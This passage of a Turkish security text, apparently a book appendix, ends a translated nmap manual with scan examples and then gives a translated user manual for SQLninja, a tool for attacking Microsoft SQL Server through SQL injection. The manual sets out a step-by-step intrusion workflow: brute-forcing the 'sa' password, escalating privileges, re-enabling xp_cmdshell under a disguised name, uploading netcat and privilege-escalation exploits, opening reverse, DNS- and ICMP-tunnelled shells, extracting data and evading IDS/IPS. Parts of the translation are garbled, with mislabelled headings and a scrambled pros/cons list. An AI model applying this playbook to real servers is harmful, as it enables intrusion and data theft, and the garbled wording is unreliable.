seçenekleriyle belirlenirse, dosyalar için bu yol kullanılır. Daha sonra<br />
nmap “--datadir” yolunda bu dosyaları arar. Bulunamayan dosyalar<br />
NMAPDIR çevre değişkeninin gösterdiği yerde aranır. Daha sonra<br />
~/.nmap (gerçek ve etken UID için), ya da Windows için<br />
\AppData\Roaming\nmap (burada HOME C:\Users\user gibi<br />
kullanıcının ev yoludur). Peşinden nmap programının bulunduğu<br />
yerdeki yola ../share/nmap eklenmesi ile arama tamamlanır (örneğin<br />
/usr/local/share/nmap gibi)<br />
--servicedb (kullanıcı servis dosyasının yeri)<br />
Nmap için nmap-services dosyası yerine bu seçenekle belirtilen<br />
dosyanın kullanılması istenebilir. Bu dosyanın tanımlanması “-F” hızlı<br />
tarama seçeneğini etkinleştirir.
--versiondb <br />
(Servis mesajları dosyasının yeri)<br />
Nmap programından özel servis mesajları dosyası kullanması bu<br />
biçimde istenir.<br />
--send-eth (Ham ethernet mesajları göndermeyi kullan)<br />
Nmap programından IP (ağ) düzeyinde veri göndermesi yerine<br />
ethernet düzeyinde ham veri göndermesi istenirse bu seçenek<br />
kullanılır. Çalıştığı platformda hangisini kullanmak daha iyiyse nmap<br />
varsayılan olarak onu seçer. Genelde Ham soket (IP düzeyi) en verimli<br />
kullanım biçimidir. Ama windows ortamında ethernet paketleri<br />
kullanılmalıdır. Çünkü Microsoft ham IP soketleri kullanımına izin<br />
vermez. Nmap UNIX ortamlarında başka bir seçeneği kalmamışsa ham<br />
IP kullanmayı seçer.<br />
--send-ip (Ham IP düzeyi mesaj gönder)<br />
Nmap'in paketleri ham IP olarak göndermesini ister. Windows için<br />
kullanılamaz.<br />
--privileged (Kullanıcının tam yetkili olduğunu varsay)<br />
Nmap programına ham soket mesajları göndermeye yetkili<br />
olunduğunu bildirir. Varsayılan olarak nmap işlemi yapıp geteuid<br />
sonunda sıfırdan farklı bir sonuç alırsa işlemi durdurur.<br />
--unprivileged (Kullanıcı ham paket gönderemez)<br />
Nmap programına kullanıcının yetkisiz olduğu ve ham soket verisi<br />
gönderemiyeceği bildirirlir.<br />
--release-memory (Programdan çıkmadan belleği boşalt)<br />
Bellek sızıntılarının düzeltilmesinde önemli bir seçenektir. Nmap işin<br />
bitirmeden kullanığı belleği boşaltır. Böylece gerçek bellek sızıntıları<br />
daha kolay bulunabilir. Normal koşullarda nmap bununla ilgilenmez<br />
işletim sistemi bu işi yapar.<br />
-V; --version (Sürüm numarasını listele)<br />
Nmap sürüm numarasını listeler ve işlem son bulur.
-h; --help (Yardım sayfasını listele)<br />
Kısa yardım sayfası listeler. En sık kullanılan komutlar, ayarlar burada<br />
tanımlıdır. Hiçbir parametre vermeden nmap çalıştırılırsa da aynı sonuç<br />
elde edilir.<br />
Çalışırken araya girme<br />
Nmap çalışırken tüm tuş hareketini yakalayabilir. Böylece programı<br />
durdurmadan onunla etkileşime girilebilir. Bazı özel tuşlar seçenekleri<br />
değiştirebilir, diğerleri tarama hakkında bilgi verebilir. Genel bir kavram<br />
olarak küçük harfler yazdırılanları çoğaltırken büyük harfler azaltır. Yardım<br />
için “?” girilebilir.<br />
v / V<br />
Ayrıntıyı arttır/azalt<br />
d / D<br />
onarım satırlarını arttır/azalt<br />
p / P<br />
Paket taramasını aç/kapa<br />
?<br />
Etkileşimli yardım ekranını görüntüleme screen<br />
Başka ne varsa<br />
Aşağıdaki gibi durum mesajı ver:<br />
Örnekler<br />
Stats: 0:00:07 elapsed; 20 hosts completed (1 up), 1 undergoing Service Scan<br />
Service scan Timing: About 33.33% done; ETC: 20:57 (0:00:12 remaining)<br />
Nmap kullanımını gösteren bazı örnekler aşağıda gösterilmiştir. En<br />
basitinden, en sık kullanılanından ve en karmaşık olanına değin bir kaç örnek<br />
buraya alınmıştır. Bazı örneklerde IP adresleri ya da yöre adları değişmez<br />
kullanılmıştır.<br />
nmap -v scanme.nmap.org
Tüm kapılar taranır ve çıktı ayrıntılı olacaktır.<br />
nmap -sS -O scanme.nmap.org/24<br />
C tipi bir ağda (256 IP) SYN taraması yapılacaktır. Ayrıca bu <strong>bilgisayar</strong>larda<br />
hangi işletim sisteminin bulunduğu da belirlenecektir.<br />
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127<br />
B tipi ağ adresinde her 255 <strong>bilgisayar</strong>ın ilk yarısında TCP taraması ve sayısal<br />
olmayan adlandırma yapılması istenir. Burada sistemlerdeki standart<br />
kapılarda SSH, DNS, POP3 ya da IMAP olup olmadığı taranır, açık olan<br />
kapılarda sürüm belirlemesi ve arkasında koşan uygulama belirlenir.<br />
nmap -v -iR 100000 -Pn -p 80<br />
Nmap'den rastgele 100,000 sunucu seçmesi istenir. Bunların web sunucu<br />
servisi taranır (80 nolu kapı). Sunucu adlandırması -Pn ile kapatılmıştır.<br />
nmap -Pn -p80 -oX logs/pb-port80scan.xml -oG logs/pbport80scan.gnmap<br />
216.163.128.20/20<br />
Ping kullanmadan 4096 IP web servisi için taranır ve sonuç grep ile<br />
okunabilen ve XML kalıplarında saklanır.
Ek-2<br />
SQLninja Kullanıcı El Kitabı<br />
Giriş<br />
Gereksinim<br />
Arkada Çalışanlar<br />
Nasıl Kullanırız<br />
Saldırı Konumu<br />
Onarımlar<br />
Parmak İzi<br />
Kaba Kuvvet<br />
Artma<br />
Xp Diriltmek<br />
Yüklemek<br />
dir kabuk komutu<br />
Geri tarama<br />
Ters kabuk<br />
ICMP Kabuğu<br />
DNS tüneli<br />
metasploit<br />
SQL komutu<br />
Veri alma<br />
Diğer Saldırılar<br />
Yapılandırma Dosyası<br />
Temel İşlemler<br />
Veri çıkartma Seçenekleri<br />
Gelişmiş Seçenekler<br />
Diğer Yararlı Bilgiler<br />
Krediler<br />
Kabul Etmeme<br />
Geri Besleme<br />
Akıllılık<br />
Yazarlar
Giriş<br />
Burada yazılanlarda SQLninja sanki hep var olan hedef sunucuya kırıl veri<br />
tabanına eklentiler yapacak, ya da veri tabanından bilgi çekecekmiş gibi<br />
gözükmektedir. Ama madalyona bir de diğer taraftan bakmak gerekir.<br />
Kırılacak güvenlik önlemleri varsa güvenlikte sorun da vardır. Güvenlik<br />
yönetiminin yapacağı kırılması söz konusu olan güvenliği kalkan ya da<br />
yazılım desteği ile yenilemek, koruma önlemleri almaktır.<br />
SQLninja'nın hedefi web uygulamalarındaki Microsoft SQL Sunucunun SQL<br />
eklemeleriyle kırılganlığını belirlemek ve içine sızmaktır. Arkada çalışan<br />
sunucu GPL V3 ile kullanıma açıldı.<br />
SQLninja'nın ana hedefi uzaktaki Veri Tabanı Sunucusuna etkileşimli işletim<br />
sistemi düzeyinde erişimdir. Bunu ağ içinde köprü başı olarak kullanmaktır.<br />
Bir onarım özelliği olarak veri tabanından veri de çıkarabilir.<br />
Uzaktaki SQL Sunucunun parmak izlerini almak (sürüm, query<br />
çalıştıran kullanıcı adı, kullanıcı yetkileri, XP komut kabuğu varlığı, Veri<br />
Tabanı Sunucu yetki konumu.<br />
'sa' şifresini zorla alma (yalnız windows 2000 için)<br />
'sa' ya verilen yetkiler (yalnız windows 2000 için)<br />
Kullanıcı komut kabuğu yaratılışı (eğer var olan kaldırılmışsa)<br />
Çalışan programların yüklenmesi<br />
Ters kabuk işlemi için uygun kapı bulmak adına ters tarama<br />
TCP ve UDP için doğrudan ve ters kabuk<br />
Bağlantı kabuğu için kapı yoksa DNS'si tünellenmiş kabukumsu<br />
ICMP tünellenmiş kabuk, Eğer hedef Veri Tabanı Yönetim Sistemi ICMP<br />
ile konuşabilirse, ICMP yankı ile makineye saldırılabilir.<br />
Meterpreter kullanmak istediğinizde, ya da GUI kullanıcı arayüzü ile<br />
erişmek istediğinizde Metasploit döndürmesi olacaktır.<br />
Uzaktaki Veri Tabanı için İşletim Sİstemi yetkileri çıkarılması<br />
WAITFOR arayüzü kullanarak ya da DNS tabanlı tünellerle uzaktaki Veri<br />
Tabanından Veri çıkartma<br />
Bunların hepsi IDS/IPS Sistemlerinin ve SQL kodunun kafasını<br />
karıştırarak yapılır.
Görebildiğiniz kadarıyla SQLninja, SQL içine girecek kırılganlıkları aramaz.<br />
Hali hazırda bunları yapan bir çok araç zaten vardır (BurpSuite<br />
http://portswigger.net/suite gibi). Gösteriler hep daha önceki sürüme aittir<br />
ama aracın yapabildiklerini anlamak açısından oldukça iyi sonuçlardır. Bu el<br />
kitabını dikkatlice okuyun (evet hepsini), SQLninja seçenekleri arasında nasıl<br />
iş yapabileceğiniz, içinde neler olduğu anlatılır. Uzun ve sıkıcı gelebilir. Ama<br />
SQLninja'nın bir çok seçeneği olduğundan belgenin tümünü okumaya çalışın.<br />
Bir çok aracı doğru kullanabilmenizi ve çok zaman kazanmanızı sağlar.<br />
Gereksinim<br />
SQLninja tümüyle Perl ile yazıldığından, kurulacak fazla bir şey yoktur.<br />
Perl ve eğer yoksa aşağıdaki modüller gerekir:<br />
NetPaket, NetPcap, NeDNS, NetRawIP, IQ-Socket SSL, DBI,<br />
Ayrıca Metasploit Framewor 3 de gerekecektir. Metaspoilt saldır<br />
konumunda kullanılacaktır. Ayrıca VNC istemci de kurulmalıdır.<br />
Eğer bir şeyler ters giderse, ayrıntılı çıktıyı etkinleştirin (-V seçeneği)<br />
ya da onarım seçeneğini (-d). Böylece hatanın nedenini bulacak ip<br />
uçlarına erişebilirsiniz. Gentoo kutusunda geliştirildiğinden SQLninja<br />
aşağıdaki sistemlerde kullanılabilir:<br />
Linux, FreeBSD, Mac OS X, OS<br />
Arkada Çalışanlar<br />
Web uygulamasında SQL Sunucu kullanılıyorsa ve siz de SQL'i kırıp<br />
içine girebiliyorsanız hemen denemeler yapın. Eğer 'sa' olarak<br />
sorgulama yapabiliyorsanız ve XP komut kabuğu kapatılmamışsa,<br />
hemen sunucuya netcat indirin (ftp ya da tftp ile) ve sonunda sizin<br />
doğrudan ters kabuğunuzu bulun. Bir çok kez işler bu kadar kolay<br />
olmaz. Bazen güvenlik kalkanı tüm giriş ve çıkışları elenmiştir. Ya da<br />
ter kabuk yalnız tuhaf bir cihaz için vardır. Ya da XP komut kabuğu hiç<br />
yoktur. Ya da sorgulamalarınız düşük yetkiyle yapılabilmektedir. Ya da<br />
bunların hepsi birden olmuştur. SQLninja uzaktakinde ters kabuk nasıl<br />
yaratılacağı konusunda (bu koşullarda bile) yardımcı olabilecek ip<br />
uçları üretebilir. Bu da başarısız olursa, Uzaktaki veri tabanı yönetim<br />
sisteminden hala bazı verileri sıkıştırıp çıkarabilir.
Çok iyi SQL ekleme teknikleri bildiğinizi ve Microsoft SQL Sunucusunun<br />
iç yapısını iyi bildiğinizi varsayalım. Eğer bundan sonra olanları<br />
anlamakta güçlük çekerseniz<br />
http://www.northernfortress.net/advanced_sql_injection.pdf,<br />
http://www.northernfortress.net/more_advanced_sql_injection.pdf,<br />
http://www.northernfortress.net/sqlinference.pdf<br />
belgelerini okumanızı öneririz. Ayrıca protokol tünellemenin ne<br />
olduğunu bildiğinizi varsayıyorum. Özellikle ICMP ve DNS üzerinden<br />
yapılanları biliyorsunuzdur. Bilmiyorsanız lütfen http://dnstunnel.de/<br />
web sitesinden DNS kavramını öğrenin.<br />
Nasıl Kullanırız<br />
SQLninja davranışı yapılandırma dosyasıyla denetlenir (varsayılan<br />
dosya adı sqlninja.conf). Bu dosyadaki ayarlar neye ve nasıl<br />
saldırılması gerektiğini anlatır (hedef sunucu, kırılabilen sayfalar,<br />
kullanılabilecek diziler gibi) ve sqlninja'ya neler yapılacağını<br />
anlatabilen bazı komut satırı seçenekleridir. Bu komut satırı<br />
seçenekleri aşağıdakilerdir:<br />
-m <br />
Saldırı konumunu belirtir. Temel olarak sqlninja'ya ne<br />
yapması gerektiğini söyler. Yapılabilecek işlerler şunlardır:<br />
test<br />
parmak izi (fingerprint)<br />
kaba kuvvet (bruteforce)<br />
artırma (escalation)<br />
xp diriltmek (resurrectxp)<br />
yüklemek (upload)<br />
dir kabuğu (dirshell)<br />
arka tarama (backscan)<br />
ters kabuk (revshell)<br />
dns tüneli (dnstunnel)<br />
icmp kabuğu (icmpshell)<br />
metasploit<br />
sql komutu (sqlcmd)<br />
veri al (getdata)<br />
-v<br />
ayrıntılı çıktı<br />
-f <br />
kullanılacak yapılandırma dosyanı tanımlar
-p <br />
artırma konumunda o anki kullanıcıyı sistem admin<br />
listesine ekler. Diğer konumlarda sorgulamayı yönetici<br />
yetkisiyle çalıştırır. (Eğer veri tabanı kullanıcısı bu tür bir<br />
grupta değilse). Bu seçenek normalde çok seyrek kullanılır.<br />
Varsayılan olarak kullanıcıyı sysadmin grubuna ekler ('sa'<br />
şifresi bulunduğunda). Bunu ne zaman kullanmak gerekir<br />
diye soruluyorsa attırma konumuna bakmak gerekir.<br />
-w <br />
kaba kuvvet konumunda kullanılacak kelime listesi<br />
tanımlanır.<br />
-g<br />
Yükleme konumuyla birlikte kullanılır, onarım programı<br />
üretir ve çıkar.<br />
-d <br />
Onarım işlemlerini başlatır ve aşağılarda neler olduğu<br />
incelenebilir. Olası değerleri şöyledir:<br />
1 eklenen her sql komutunu yazdır<br />
2 hedefe gönderilen her HTTP isteğini yazdır.<br />
3 Hedeften gelen her HTTP yanıtını yazdırır<br />
all Yukarıdakilerin hepsi<br />
Hangi parametrelerin kullanılacağını anlamak için bu konumların<br />
tanımlarına bakın.<br />
Saldırı Konumu<br />
SQLninja'nın şu anda 14 değişik saldırı konumu vardır.<br />
sqlninja -m upload<br />
sqlninja -m U<br />
sqlninja'yı parametresiz çalıştırınca konumları ve parametreleri listelenir.<br />
Değişik saldırı gruplarının ilkini yakalamak için sqlninjayı kullanmanın tipik<br />
yolları şunlardır:<br />
1 Yapılandırma dosyası ayarları ve test konumuyla o SQL komutunun<br />
doğru olarak eklendiğini gör.
2 Parmak izi konumuyla karşıdaki veri tabanının parmak izini al<br />
3 Eğer gerekliyse kaba kuvvet konumunu kullanarak 'sa' şifresini bul<br />
ve yetkileri arttır (Yalnız Windows 2000).<br />
4 Eğer gerekliyse xp diriltme konumuyla gelişmiş xp komut kabuğu<br />
yaratma işlemini yarat (Windows 2000 için)<br />
5 Yükleme konumunu kullanarak netcat yükle.<br />
6 Bir kapı üzerinden Veri Tabanı sunucusuna erişilmişse, dir kabuk<br />
konumunu kullanarak doğrudan kabuk alternatifini bul. Eğer kapı TCP<br />
ise metasploit konumunu kullanarak grafik erişimi başlat.<br />
7 Aksi halde ters tarama konumu ile çıkış için kullanılan tcp/udp<br />
kapısını bul.<br />
8 Eğer 7. adım başarılıysa, ters kabuk konumunu kullanarak, ters<br />
kabuğu bul ve kapı TCP ise metasploit konumu ile grafik erişimi kullan.<br />
9 Eğer 8. adım çalışmamışsa icmpsh.exe programını yükle ve icmp<br />
kabuk konumunu kullanarak icmp-tünel kabuğu bul.<br />
10 Eğer 9. adım çalışmazsa dnstun.exe programını yükle ve dns tünelli<br />
yalancı kabuğu bul.<br />
11 Eğer 10. adım çalışmazsa veri alma konumuna geç ve veri<br />
tabanından veri almaya başla.
Onarımlar<br />
Kısaca t yazılabilir.<br />
Parametresi yoktur.<br />
Bu konum ilkel WAITFOR DELAY ile karşı tarafta işlemin başarılı bitip<br />
bitmediğini izler. Yapılandırma dosyanızın doğruluğu ve eklemenin<br />
çalışıp çalışmadığı denenmiş olur.<br />
Parmak İzi<br />
Kısaca f yazılabilir.<br />
Parametre olarak -p yazılabilir<br />
WAITFOR tabanlı kör bir ekleme kullanır. Bu konum karşı sistemin<br />
parmak izini çıkarır. Aşağıdaki bilgiler alınabilir:<br />
Veri Tabanı sürümü (2002/2005/2008/2012 gibi)<br />
Sorgulamaları yapan kullanıcı<br />
Kullanıcı sistem yöneticisi grubunda mıdır?<br />
Bu kullanıcıya xp komut kabuğu (xp cmdshell) açık mıdır?<br />
Karşı sistem karışık mı yoksa yalnız windows'a özgü Şifreleme mi<br />
kullanmaktadır ('sa' şifresine kaba kuvvet uygulayacaksanız<br />
bunu bilmek gerekir)<br />
SQL Sunucu SYSTEM olarak mı koşturulmuştur. Bu aynı zamanda<br />
churrasco.exe doğru yüklendi mi ve yetkileri doğru arttırıyor mu<br />
incelemesi de yapılmasını sağlar.<br />
Var olan veri tabanının adı.<br />
Eğer SQL Sunucu 2000'e saldırılıyorsa, kullanıcılar sysadmin grubunda<br />
değildir, ama doğru 'sa' şifresi parametre olarak verilmiştir. Böylece<br />
parmak izi yönetici yetkileriyle yapılır. WAITFOR tekniği diğer araya<br />
girişlere göre çok daha yavaştır ama en esnek olanıdır. Zaman<br />
ölçümlerinde diğer işlem trafiği ve sunucu yükü etkin olsa da parmak<br />
izini bir kaç kez yinelemek isteyebilirsiniz. Bunu ilk sonuç tatmin edici<br />
değilse yaparsınız. Ya da yapılandırma ayarlarındaki kör zamanlama<br />
(blindtime) parametresiyle de yapabilirsiniz. Kullanıcının SQL<br />
Sunucusuna parmak ixi uygularken aşağıdakilerin sunucuda olması<br />
gerekir:
xp_cmdshell (ya da benzeri)<br />
whoami.exe. Bu Windows 2003'de var, ama karşı tarafta yoktur<br />
derseniz microsof.com'dan indirip karşı sisteme yükleme yapabilirsiniz.<br />
(http://sqlninja.sourceforge.net/sqlninja-howto.html#upload_ nasıl<br />
yapılacağını anlatır)<br />
Kaba Kuvvet<br />
Kısaca b yazılabilir<br />
Parametreleri -w <br />
Bu konum, kullanıcı sysadmin grubunda değilse kullanışlıdır. O zaman<br />
yetkilerin arttırılması gerekir. OPENROWSET ile hedefin veri tabanını<br />
alternatif güvenlikle kendine bağlarız. 'sa' şifresini kaba kuvvetle<br />
bulmaya çalışırız. Eğer doğru şifre bulunursa, mevcut kullanıcı hemen<br />
'sa' grubuna eklenir. Bu saldırının çalışması için karşıdaki SQL sunucu<br />
karışık şifreleme kullanıyor olmalıdır. Parmak iziyle bunun doğruluğuna<br />
bakılmalıdır. Bu saldırı konumu iki değişik yöntem kullanır: sözlük ve<br />
arttırımlı. Hangisini kullanacağınız tümüyle size kalmıştır.<br />
Sözlük<br />
Eğer kelime listesi tanımlanmışsa kullanılır. Buna göre olası<br />
şifreler kelime listesinden bakılarak aranır. Kelime listesinde 'sa'<br />
ve boş şifre olduğuna bakın. Bunlar MS SQL için çok sık<br />
kullanılan şifrelerdir.<br />
Pros:<br />
Eğer şifre bir sözlük kelimesiyse çok etkilidir<br />
Veri Tabanı sunucusuna ağır bir yük getirmez.<br />
Cons:<br />
Sözlüğe dayanmayan şifreler için etkili değildir. Eğer<br />
kelime listenizde şifre yoksa sonuç elde edemezsiniz.<br />
Çok fazla bağlantıya gereksinimi olduğundan web<br />
kayıtlarına bakınca saldırı hemen anlaşılabilir<br />
Artırımlı<br />
Kelime listesi kullanılmadığında bu yönteme geçilir. SQLninja bir<br />
dizi sorgulama gönderip “*ALL*” deneyerek kullanıcı tarafından<br />
saptanan uzunlukta kombinasyonlar yaratır. Bu taktiğin güzel<br />
yanı sorgulamalar veri tabanı sunucusunda olduğundan kaba<br />
kuvvet aslında karşı sistemin CPU kaynakları kullanılarak yapılır.<br />
Pros<br />
Cons<br />
Sözlük tabanlı olmayan şifreleri bulmada oldukça etkindir<br />
Çok az bağlantıya gereksinim vardır, bu nedenle web<br />
sunucu kayıtlarında çok az bilgi vardır.<br />
Eğer şifre uzunsa yıllar alabilir<br />
Veri Tabanı sunucusunun CPU kullanımını %100'e
çıkarabilir. Canlı ortamda tehlikelidir (fark edilebilir). CPU<br />
kullanımı çok yükselince kritik veri tabanlarında alarm<br />
uyarısı üretilir. Güvenlik ölçüsü olarak sqlninja işlemi küçük<br />
yığınlara bölüp (her yığın yalnız n karakterden oluşan şifre<br />
için n^3 şifre dener) . Eğer bir şeyler ters gidiyorsa<br />
sqlninja durdurulur ve karşı taraftaki kaba kuvvet yığının işi<br />
bitince bitmiş olur.<br />
Uygulamanın veri tabanı sunucusuna bağlı olarak bu teknik<br />
çalışmaya bilir (örneğin ODBC sorun çıkartmaktadır). Sqlninja<br />
bunu hemen anlar ve kullanıcıyı uyarır, boşuna zaman<br />
kaybedilmez.<br />
Önemli Notlar<br />
SQL 2005'den beri OPENROWSET yetkisiz kullanıcılara kapatıldı.<br />
Eğer parmak izi konumu 2005/2008/2012 ile uğraşıldığını<br />
söylüyor ve siz 'sa' değilseniz şansınız yoktur (ama siz hala veri<br />
alma konumuyla veri geçebilirsiniz)<br />
SQL sunucu 2000'de şifrelerde büyük küçük harf ayrımı yoktur,<br />
bu da kırma işlemini çok kolaylaştırır.<br />
Arttırma biti ODBC kullanıldığında sıkıştırılmıştır.<br />
Arttırma<br />
Kısaca e yazılabilir<br />
Parametresi -p zorunludur<br />
Eğer doğru 'sa' şifresi verildiyse o anki kullanıcı sysadmin grubuna<br />
eklenir.<br />
Genelde bu yönteme gereksinim yoktur, çünkü sqlninja kaba kuvvet<br />
konumunda arttırma zaten yapılmıştır. Ama bazı koşullar olabilir ki<br />
işlemi bağımsız yapmanız gerekebilir. Belki şifreyi sosyal mühendislik<br />
yollarından sağlamışsınızdır.<br />
Arttırmanın nasıl çalıştığını görmek isterseniz ya da 'sa' şifresini<br />
bildiğiniz halde arttırma çalışmıyorsa okumaya devam edin.<br />
Arttırma OPENROWSET birleşimiyle yapılır. Doğru 'sa' şifresi ve<br />
sp_addsrvrolemember kullanarak kullanıcı adının sysadmin grubuna<br />
eklenmesidir. Belki de sp_addsrvrolemember kapalı olabilir. O zaman<br />
iki nedenden çalışmıyordur:<br />
1 Sunucu ODBC kullanıyordur ve siz bağlantı havuzundan eski ODBC<br />
bağlantısı kullanıyorsunuzdur ve o da eski yetkileri kullanıyordur<br />
2 sp_addsrvrolemember kullanıma kapatılmıştır
İlkinde bir kaç şey yazdırıp eski bağlantının bitmesini ve kendiliğinden<br />
düşmesini beklersiniz. Genelde ODBC bağlantısı işlemsiz 60 saniye<br />
sonra düşer. Bunun olma süresi web sayfasına kaç kişinin bağlandığı,<br />
trafiğin yoğunluğu gibi değerlerle orantılıdır.<br />
İkinci durumda beklemek zorunda değilsiniz. -p yazıp<br />
sqlninjanın kullandığı OPENROWSET ile bağlantılı işlem yaparsınız.<br />
Xp Diriltmek<br />
Kısaca x yazılabilir<br />
Parametreler -p <br />
Eğer aşağıdaki koşulların her ikisi de oluyorsa bu konum kullanılabilir:<br />
Ya bizim sysadmin yetkilerimiz vardır ya da 'sa' şifresi biliniyordur<br />
xp_cmdshell kapalıdır.<br />
Bu konumun hedefi öncelikle geliştirilmiş xp_cmdshell işlemini yine<br />
yaratmaktır. Burada oyunun bir çok oyuncusu vardır ve her biri de<br />
farklı davranabilir. O halde aşağıdakileri dikkatle okuyun:<br />
Yöntemler<br />
xp_cmdshell geri getirmek için iki yöntem vardır<br />
1 onu SQL 2000'de sp_addextendedproc işlemiyle, SQL<br />
2005'de sp_configure ile) geri yüklemek. Bunun için bir<br />
SQL komutu yeterlidir ama xplog70.dll orada olmalıdır.<br />
2 CREATE PROCEDURE ile sp_oacreate, sp_oamethod ve<br />
sp_oadestroy için siteye özgülerini yarat. Bu konumda<br />
daha başka programlar da gereklidir ama eğer xplog70.dll<br />
güvenlik nedeniyle kaldırılmışsa bu kadarı da yeterlidir.<br />
xp_cmdshell adı<br />
xp_cmdshell yeniden yaratılınca tanınması olanaksızdır. Bu<br />
durumda CREATE PROCEDURE ile daha uygun bir adla<br />
(sp_sqlbackup gibi) yaratma işlemi tamamlanabilir. İşlem adını<br />
yapılandırma dosyasındaki xp_name_option seçeneğiyle<br />
tanımlayabilirsiniz.<br />
Kullanıcı Yetkileri<br />
Eğer yetki arttırma çalışmamışsa -p ile yetkileri<br />
değiştirebilirsiniz<br />
OPENROWSET ve CREATE PROCEDURE birleştirilemez. O zaman -p<br />
kullanıyorsanız CREATE PROCEDURE kullanın. Bir başka çözüm de tüm<br />
yordam (procedure) veri tabanına gönderilen her komuta eklenerek de
tanımlanabilir. Sunucu dışarıdan eklenen bir yordam olmadan da her<br />
şeyi yapar. Biz buna ”İçte tanımlanan (inline) yordam eklemek”<br />
diyelim.<br />
Bu konum kullanılırken sqlninja'nın izlediği adımlar şöyle özetlenebilir:<br />
1 Eğer dışarıdan eklenecek yordam (procedure) adı yapılandırmaya<br />
tanımlanmışsa (xp_cmdshell) o zaman sqlninja bunu kullanılır hale<br />
getirmeye çalışır (sp_addextendedproc/sp_configure). Belki karşıdaki<br />
SQL sunucunun sürümünü bilmek isteyebilirsiniz, parmak ixi<br />
kullanmayı unutursanız sqlninja kendisi bu bilgiye erişir.<br />
2 Eğer dışarıdan eklenen yordam (procedure) adı xp_cmdshell (daha<br />
sinsi olmak istediğinizden olabilir) olmayacaksa (xplog70.dll kaldırılmış<br />
olabilir) o zaman:<br />
Eğer bizim yerel admin yetkilerimiz varsa (yani komut satırında<br />
password yazmamız gerekmemiştir) o zaman CREATE<br />
PROCEDURE yöntemimiz başlatılır. Eğer çalışırsa bizim kendimize<br />
özgü yordam (procedure) tanımımız olmuştur.<br />
Eğer bizim yerel admin yetkilerimiz yoksa (komut satırında şifre<br />
tanımlamak zorunda kalmışızdır) o zaman satır içinde yordam<br />
(procedure) tanımlamaya gidilir. Eğer çalışırsa yapılandırmada<br />
xp_name değeri NULL yapılır. Bu sqlninja'ya diğer adımlarda da<br />
satır içi yordam (procedure) tanımı yapılması gerektiğini belirtir.<br />
Sanırım xp_cmdshell geri geldiğinde (ya da tümüyle eşdeğer başka bir<br />
şey) her şey normale dönmüştür.<br />
Sqlninja tarafından kullanılan size özel kod aslında Antonin Foller<br />
kodunun biraz değiştirilmişidir.<br />
http://www.motobit.com/tips/detpg_cmdshell/ adresinde aslını<br />
bulabilirsiniz.<br />
Yüklemek<br />
Kısca u yazılabilir<br />
Parametreler: -p <br />
-g<br />
Bu konum yalnız ikili bir dosyayı web sunucusuna GET ya da POST<br />
HTTP isteği ileterek dosya yükler. Yani FTP/TFTP ya da benzeri bir işlem<br />
gerekmez. Yüklenen dosya sunucunun %TEMP% çevre değişkeni<br />
içindedir. Saldırı aslında MSSQL varsayılan dosya yolunu (klasör)<br />
yazamasa da etkindir. İki tane yükleme konumu vardır.<br />
Onarım Programı<br />
Bu alışılmış bir türdür ve eski DEBUG.EXE programını kullanır.<br />
İkili dosya onarım programı gibi yazılır (.scr uzantısıyla), program<br />
yüklenir ve debug.exe'ye verilir. Program temelde bellekte bir
yer alır, gerekli baytları yazar ve sonuçları diske taşır. 16 bitlik<br />
bir program olduğundan boyut sorunu vardır ve 64 Kbayt en<br />
buyuk dosya boyudur. Bunları parça parça yüklemek ve sonunda<br />
birleştirmek için sqlninja Jussi'nin dbgtool.exe algoritmasını<br />
kullanır ( http://www.toolcrypt.org adresine bakınız).<br />
Vbscript<br />
Bu aslında yeni bir yöntemdir. İkili dosya base64 kalıbına çevrilir,<br />
yükleme yapılır ve sonra küçücük bir vbscript kodu ile asıl<br />
dosyaya dönülür. Ortalamada daha az istek üretir. İlk dosyanın<br />
parçalanması da gerekmez ve son zamanların sistemlerinde<br />
daha çok çalışma olanağı vardır. Eski yöntem daha güzel<br />
gözükse de bunu kullanmayı seçebilirsiniz.<br />
Hangi yöntemi seçerseniz seçin, yükleme yapmak için bir dosya adını<br />
tanımlamış olmalısınız. Daha sonrası zaten otomatik yürümektedir. Bu<br />
dosya zaten .scr ya da .base64 kalıbındaysa sqlninja yüklemeyi yapar<br />
ama bazı kontroller (yüklenen dosya boyu doğru mu gibi)<br />
yapılamayabilir. Sonunda sqlninja için asıl dosyayı ikili biçimde<br />
sağlamak en iyisidir.<br />
Sizin kolaylığınız için netcat.exe dnstun.exe icmpsh.exe churrasco.exe<br />
vdmallowed.exe ve vdmexploit.dll programları apps ve scripts dosya<br />
yollarında bulunmaktadır. Türüne göre bir kısmı ikili diğerleri<br />
debug+base64 kalıbındadır. Programlar UPX ile paketlenmiştir<br />
(boylarını küçütmek için). Bazı işlemler için netcat.exe programını<br />
yüklemelisiniz (backscan/dirshell/revshell gibi işlemler). Ayrıca<br />
dnstun.exe ve icmpsh.exe tünellenmiş DNS ve ICMP yalancı kabuğu<br />
üretmek içi gereklidir. Churrasco.exe yetki arttırmak için gerekli<br />
olacaktır. Eğer SQL sunucu SYSTEM olarak koşturulmuyorsa<br />
Vdmallowed.exe ve vdmexploit.dll aynı saldırı için gerekecektir.<br />
Akıldan çıkarılmaması gereken en önemli konu bir çok şeyin düzgün<br />
gitmeme olasılığı olduğudur. Şifrelenmiş dosyanın bir satırının bile<br />
yüklenememiş olması, programların doğru yaratılamayacağını anlatır.<br />
Sqlninja testlerinde eğer program aranan yerde bulunursa, kaç satır<br />
olarak yüklendiği bulunmaya çalışılır. Bu neyin hatalı olabileceği<br />
konusunda bir ölçüde bilgi verebilecektir. Örneğin pen-test adımında<br />
sonuç satırları doğru değerin tam iki katı olmalıdır. Burada yapılacak<br />
olan geçici bir tablo yaratmak ve onu sayaç gibi kullanmaktır. Satır<br />
program dosyasına sayaç çift olduğunda aktarılmalıdır.<br />
Eğer yalnız onarım programı yaratmak isterseniz ya da yüklemeden<br />
base64 (bir başka araçla kullanmak üzere) o zaman yükleme<br />
konumunu -g seçeneği ile başlatın. Sqlninja dosyayı /tmp dosya<br />
yolunda yaratır ve çıkar. Eğer sysadmin yetkileriniz yoksa<br />
parametrede 'sa' şifresini kullanmanız gerekir.
dir kabuk komutu<br />
Kısaca s yazılır<br />
Parametreleri -p <br />
Uzaktaki veri tabanı sunucusu TCP ve UDP kapı üzerinden doğrudan<br />
erişilebiliyorsa bu konum kullanılır. Sqlninja uzaktaki kapısı, protokolü,<br />
sorar ve veri tabanına komut mesajı ve bağlantı kurulacak mesajı<br />
gönderir. Tabi ki daha önce netcat karşı sisteme yüklenmiş olmalıdır. -p<br />
seçeneği karşı tarafta kullanılabilecek yetki arttıracak bir şifre<br />
olmadığında gereklidir.<br />
